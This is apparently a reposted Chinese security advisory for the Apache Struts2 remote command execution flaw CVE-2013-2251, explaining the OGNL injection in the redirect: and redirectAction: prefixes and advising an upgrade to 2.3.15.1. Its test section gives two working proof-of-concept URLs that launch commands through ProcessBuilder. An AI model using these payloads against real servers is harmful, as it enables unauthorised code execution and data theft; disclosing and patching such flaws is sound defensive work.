Apache Struts2打开重定向/命令执行 CVE-2013-2251
来源:互联网 发布:英语课文翻译软件 编辑:程序博客网 时间:2024/06/06 16:34
昨日,著名Java Web框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts 2.0.0 - Struts 2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外我们注意到针对该漏洞的攻击代码已出现。
关于Struts
Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前Struts是应用最广泛的Web应用框架之一。
描述:
BUGTRAQ ID: 61189
CVE ID: CVE-2013-2251
Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。
Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。
redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。
<*来源:Takeshi Terada (Mitsui Bussan Secure Directions, Inc)
链接:http://struts.apache.org/release/2.3.x/docs/s2-016.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
解决方案
升级到到Struts 2.3.15.1,下地地址:http://struts.apache.org/download.cgi#struts23151。
针对Struts屡发高危漏洞,SCANV推荐使用来自阿里云的著名网络安全专家 空虚浪子心 推出的解决方案。详见:http://www.inbreak.net/archives/507
- Apache Struts2打开重定向/命令执行 CVE-2013-2251
- Apache Struts远程命令执行漏洞、开放式式重定向漏洞
- Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)
- struts2 重定向 redirect
- struts2中 重定向
- Struts2重定向(redirect)
- struts2 转发/重定向
- struts2 重定向
- struts2 action重定向
- Struts2 重定向
- struts2重定向
- apache 重定向
- apache 301 重定向
- apache 301重定向
- apache配置、重定向
- APACHE重定向
- APACHE重定向2
- APACHE重定向3
- crs 管理的几个演示(培训作业)
- spring入门
- CodeFluent Entities: How to add intellisense into Parts XML development in Visual Studio ?
- centos用户出现sudo无法使用,问题为:sudoers+文件中。此事将被报告
- 1111111
- Apache Struts2打开重定向/命令执行 CVE-2013-2251
- 156 - Ananagrams
- TQ210开发板NFS挂载android4.0.4的rootfs的方法
- android-goldfish-2.6.29升级到android-goldfish-3.4之后, 普通权限的apk读logs时只能读到自己的打印信息
- linux诡异的半连接(SYN_RECV)队列长度
- Eming
- Spring 整合 Flex (BlazeDS)无法从as对象 到 Java对象转换的异常:org.springframework.beans.ConversionNotSupportedExcept
- nyoj-16-矩形嵌套
- spring mvc 框架搭建及详解